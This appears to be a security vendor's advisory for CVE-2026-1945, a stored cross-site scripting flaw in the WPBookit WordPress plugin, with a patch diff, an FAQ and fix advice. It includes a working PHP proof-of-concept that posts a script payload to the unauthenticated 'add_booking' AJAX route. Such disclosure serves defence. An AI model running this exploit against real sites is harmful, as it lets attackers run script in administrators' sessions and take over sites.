Atomic Edge analysis of CVE-2026-1945:
The vulnerability is a stored Cross-Site Scripting (XSS) flaw in the WPBookit WordPress plugin. The root cause is insufficient input sanitization for user-supplied parameters in booking functions. Specifically, the ‘wpb_user_name’ and ‘wpb_user_email’ parameters passed to the WPBOOKIT_Booking_Controller via the ‘add_booking’ AJAX route lack proper sanitization before storage. The vulnerable code resides in class.wpb-booking-shortcode-controller.php lines 497-581. The plugin accepts these parameters via the ‘add_booking’ AJAX endpoint without validating or escaping HTML special characters. Attackers can inject malicious JavaScript payloads through these parameters. The payloads persist in the database and execute when an administrator views booking records. The patch adds proper sanitization functions: sanitize_text_field() for text parameters and sanitize_email() for email addresses. These functions strip HTML tags and encode special characters, preventing script execution. The patch also adds nonce and permission checks to several routes, but the XSS fix is primarily the sanitization calls. Exploitation requires no authentication, making it accessible to any site visitor. Successful exploitation allows attackers to execute arbitrary JavaScript in the context of an administrator’s session, potentially leading to site takeover.

CVE-2026-1945: WPBookit <= 1.0.8 – Unauthenticated Stored Cross-Site Scripting via 'wpb_user_name' and 'wpb_user_email' Parameters (wpbookit)
CVE-2026-1945
wpbookit
1.0.8
1.0.9
Analysis Overview
Differential between vulnerable and patched code
--- a/wpbookit/core/admin/classes/class.wpb-admin-routes-handler.php
+++ b/wpbookit/core/admin/classes/class.wpb-admin-routes-handler.php
@@ -98,7 +98,7 @@
public function wpb_ajax_get() {
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- This is for Settings display, not processing form data
- if ($_REQUEST === '') {
+ if ( empty( $_REQUEST ) ) {
$_REQUEST = json_decode(file_get_contents("php://input"), true);
}
@@ -127,6 +127,20 @@
throw new Exception($error, 405);
endif;
+ // Verify nonce if required
+ if (isset($route['nonce']) && $route['nonce'] === 1) :
+ if ( ! is_user_logged_in() ) {
+ $error = __('Authentication required.', 'wpbookit');
+ throw new Exception($error, 401);
+ }
+
+ $nonce = isset($_REQUEST['_ajax_nonce']) ? sanitize_text_field(wp_unslash($_REQUEST['_ajax_nonce'])) : '';
+ if (empty($nonce) || !wp_verify_nonce($nonce, 'wpb_ajax_nonce')) :
+ $error = __('Invalid nonce in request', 'wpbookit');
+ throw new Exception($error, 419);
+ endif;
+ endif;
+
// Check for permissions if defined in the route
if (isset($route['permission']) && !empty($route['permission'])) {
if (!is_user_logged_in() || !current_user_can($route['permission'])) {
--- a/wpbookit/core/admin/classes/class.wpb-admin-routes.php
+++ b/wpbookit/core/admin/classes/class.wpb-admin-routes.php
@@ -20,6 +20,8 @@
'method' => 'get',
'action' => 'WPBOOKIT_Home_Controller@get_dashboard_apt_revenue_date',
'module' => 'dashboard-controller',
+ 'nonce' => 1,
+ 'permission' => 'manage_options',
'dependency' => array(
IQWPB_PLUGIN_PATH . "core/admin/classes/settings/class.wpb-settings-page.php",
IQWPB_PLUGIN_PATH . "core/admin/classes/settings/class.wpb-settings-dashboard.php",
@@ -30,6 +32,7 @@
'method' => 'get',
'action' => 'WPBOOKIT_Booking_Controller@get_bookings',
'nonce' => 1,
+ 'permission' => 'manage_options',
'module' => 'booking-controller'
],
'add_booking' => [
@@ -147,6 +150,8 @@
'method' => 'get',
'action' => 'WPBOOKIT_Customer_Controller@get_customer_list',
'module' => 'customer-controller',
+ 'nonce' => 1,
+ 'permission' => 'manage_options',
'dependency' => array(
IQWPB_PLUGIN_PATH . "core/includes/wpb-core-functions.php",
IQWPB_PLUGIN_PATH . "core/admin/classes/settings/class.wpb-settings-page.php",
@@ -157,6 +162,8 @@
'method' => 'get',
'action' => 'WPBOOKIT_Guest_Controller@get_guest_list',
'module' => 'guest-controller',
+ 'nonce' => 1,
+ 'permission' => 'manage_options',
'dependency' => array(
IQWPB_PLUGIN_PATH . "core/includes/wpb-core-functions.php",
IQWPB_PLUGIN_PATH . "core/includes/wpb-guest-users-functions.php",
@@ -226,6 +233,7 @@
'method' => 'get',
'action' => 'WPBOOKIT_Booking_Controller@get_bookings_data',
'nonce' => 1,
+ 'permission' => 'manage_options',
'module' => 'booking-controller',
'dependency' => array(
IQWPB_PLUGIN_PATH . "core/includes/abstracts/abstract-wpb-data.php",
@@ -337,6 +345,7 @@
'method' => 'get',
'action' => 'WPBOOKIT_Calendar_Controller@get_calendar_booking',
'nonce' => 1,
+ 'permission' => 'manage_options',
'module' => 'calendar-controller'
],
--- a/wpbookit/core/admin/classes/controllers/class.wpb-booking-shortcode-controller.php
+++ b/wpbookit/core/admin/classes/controllers/class.wpb-booking-shortcode-controller.php
@@ -497,7 +497,7 @@
} else {
$user_id = get_current_user_id();
if ($request->has_param('wpb_user_name')) {
- update_user_meta($user_id, 'first_name', $request->get_param('wpb_user_name') ?? '');
+ update_user_meta($user_id, 'first_name', sanitize_text_field($request->get_param('wpb_user_name')) ?? '');
}
if (wpbookit_get_general_settings()['booking_limit'] != 'no-limit') {
@@ -531,8 +531,8 @@
$booking_data = array(
'booking_type_id' => $booking_type_instance->get_id(),
'customer_id' => 0,
- 'booking_name' => $request->has_param('wpb_user_name') ? $request->get_param('wpb_user_name') : $request->get_param('wpb_user_first_name') . ' ' . $request->get_param('wpb_user_last_name'),
- 'booking_email' => strtolower($request->get_param('wpb_user_email')),
+ 'booking_name' => sanitize_text_field($request->has_param('wpb_user_name') ? $request->get_param('wpb_user_name') : $request->get_param('wpb_user_first_name') . ' ' . $request->get_param('wpb_user_last_name')),
+ 'booking_email' => strtolower(sanitize_email($request->get_param('wpb_user_email'))),
'booking_type' => $booking_type_instance->get_name('view'),
'booking_date' => date('Y-m-d', $timestamp),//phpcs:ignore WordPress.DateTime.RestrictedFunctions.date_date
'timeslot' => date('H:i:s', $current_timeslot),//phpcs:ignore WordPress.DateTime.RestrictedFunctions.date_date
@@ -549,10 +549,10 @@
'time_24h' => date('H:i:s', $current_timeslot),//phpcs:ignore WordPress.DateTime.RestrictedFunctions.date_date
'interval' => $booking_type_instance->get_duration(),
'google_meet_status' => isset($google_meet_settings['google_meet_status']) ? $google_meet_settings['google_meet_status'] : 'off',
- 'booking_name' => $request->has_param('wpb_user_name') ? $request->get_param('wpb_user_name') : $request->get_param('wpb_user_first_name') . ' ' . $request->get_param('wpb_user_last_name'),
- 'booking_email' => strtolower($request->get_param('wpb_user_email')),
+ 'booking_name' => sanitize_text_field($request->has_param('wpb_user_name') ? $request->get_param('wpb_user_name') : $request->get_param('wpb_user_first_name') . ' ' . $request->get_param('wpb_user_last_name')),
+ 'booking_email' => strtolower(sanitize_email($request->get_param('wpb_user_email'))),
'is_guest_mode' => $is_guest_mode,
- 'phone_number' => $request->has_param('wpb_user_phone_number') && !empty($request->get_param('wpb_user_phone_number')) ? $request->get_param('wpb_user_phone_number') : '',
+ 'phone_number' => $request->has_param('wpb_user_phone_number') && !empty($request->get_param('wpb_user_phone_number')) ? sanitize_text_field($request->get_param('wpb_user_phone_number')) : '',
'request_data' => $request->get_params(),
);
@@ -581,7 +581,7 @@
if ($request->has_param('wpb-booking_question')) {
$question_ans = [];
foreach (json_decode($booking_type_instance->get_meta('questions'), true) as $key => $value) {
- $value['ans'] = $request->get_param('wpb-booking_question')[$value['questionId']];
+ $value['ans'] = sanitize_text_field($request->get_param('wpb-booking_question')[$value['questionId']]);
$question_ans[] = $value;
}
update_metadata('wpb_bookings', (int)$booking_id, 'questions_answers', wp_json_encode($question_ans), '');
--- a/wpbookit/core/admin/classes/controllers/class.wpb-setting-controller.php
+++ b/wpbookit/core/admin/classes/controllers/class.wpb-setting-controller.php
@@ -7,6 +7,7 @@
update_option( 'wpbookit_general_setting_data', $request_data);
$permalink_Handler = new Booking_Type_Handler();
$permalink_Handler->add_booking_type_rewrite_rule([ ]);
+ flush_rewrite_rules();
$response_data = array(
"status" => 'success',
'message' => esc_html__("Settings Saved Successfully!", 'wpbookit')
--- a/wpbookit/wpbookit.php
+++ b/wpbookit/wpbookit.php
@@ -5,7 +5,7 @@
* Plugin Name: WPBookit
* Plugin URI: https://wpbookit.com
* Description: WPBookit is a comprehensive WordPress plugin that streamlines appointment bookings and enhances user experience, ideal for businesses of all sizes. Manage reservations effortlessly directly from your WordPress site.
- * Version: 1.0.8
+ * Version: 1.0.9
* Author: Iqonic Design
* Author URI: https://iqonic.design
* Text Domain: wpbookit
@@ -49,7 +49,7 @@
// Plugin version
if(!defined('IQWPB_VERSION')){
- define( 'IQWPB_VERSION', '1.0.8' );
+ define( 'IQWPB_VERSION', '1.0.9' );
}
if (!defined('IQWPB_PLUGIN_FILE')) {
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1945 - WPBookit <= 1.0.8 - Unauthenticated Stored Cross-Site Scripting via 'wpb_user_name' and 'wpb_user_email' Parameters
<?php
// Configuration
$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';
// XSS payload - will execute when admin views bookings
$payload = '<script>alert(document.domain)</script>';
// Prepare malicious booking data
$post_data = array(
'action' => 'wpb_ajax',
'route' => 'add_booking',
'wpb_user_name' => $payload . 'Attacker',
'wpb_user_email' => $payload . 'attacker@example.com',
'wpb_user_phone_number' => '1234567890',
'wpb-booking_type' => '1', // Valid booking type ID
'wpb-booking_date' => date('Y-m-d'),
'wpb-booking_time' => '10:00',
'wpb-booking_timezone' => 'UTC'
);
// Send exploit request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check response
if ($http_code == 200) {
echo "Exploit sent successfully.n";
echo "Response: " . $response . "n";
echo "Payload will execute when administrator views bookings.n";
} else {
echo "Exploit failed with HTTP code: " . $http_code . "n";
}
?>
Frequently Asked Questions
What is CVE-2026-1945?
Overview of the vulnerabilityCVE-2026-1945 is a stored Cross-Site Scripting (XSS) vulnerability in the WPBookit plugin for WordPress. It allows unauthenticated attackers to inject arbitrary JavaScript into web pages via the ‘wpb_user_name’ and ‘wpb_user_email’ parameters due to insufficient input sanitization.
How does the vulnerability work?
Mechanism of exploitationThe vulnerability occurs when user-supplied data is stored without proper sanitization. Attackers can submit malicious scripts through the affected parameters, which are then executed when an administrator views the stored booking records, leading to potential site takeover.
Who is affected by this vulnerability?
Identifying impacted usersAny WordPress site using WPBookit version 1.0.8 or earlier is affected by this vulnerability. Administrators should check their plugin version to determine if they are at risk.
How can I check if my site is vulnerable?
Steps for verificationTo check if your site is vulnerable, verify the version of the WPBookit plugin installed. If it is version 1.0.8 or earlier, your site is susceptible to CVE-2026-1945. Additionally, you can review the code for the handling of the ‘wpb_user_name’ and ‘wpb_user_email’ parameters.
How can I fix this vulnerability?
Recommended actionsThe vulnerability can be fixed by updating the WPBookit plugin to version 1.0.9 or later, which includes the necessary patches. If immediate updating is not possible, consider implementing input sanitization and validation for the affected parameters.
What does the risk level 'High' mean?
Understanding the severityA ‘High’ risk level indicates that the vulnerability can be exploited easily and could lead to significant consequences, such as unauthorized access or control over the site. Administrators should prioritize addressing this vulnerability to protect their sites.
What is the CVSS score for this vulnerability?
Context of the scoreThe CVSS score for CVE-2026-1945 is 7.2, which reflects its high severity. This score is calculated based on factors such as exploitability and impact, indicating that the vulnerability poses a serious threat to affected systems.
What is stored Cross-Site Scripting (XSS)?
Definition of the attack typeStored Cross-Site Scripting (XSS) occurs when an attacker is able to inject malicious scripts into a web application, which are then stored in the database and executed when users access the affected pages. This type of XSS can have severe implications, especially if it targets administrative functions.
How does the proof of concept demonstrate the issue?
Exploit illustrationThe proof of concept provided shows how an attacker can craft a malicious booking request containing a JavaScript payload. When this data is submitted and later viewed by an administrator, the script executes, demonstrating the vulnerability’s potential impact.
What additional security measures should I consider?
Enhancing site securityIn addition to updating the plugin, consider implementing web application firewalls, regular security audits, and input validation practices across your site. Monitoring for unusual activity can also help detect potential exploitation attempts.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






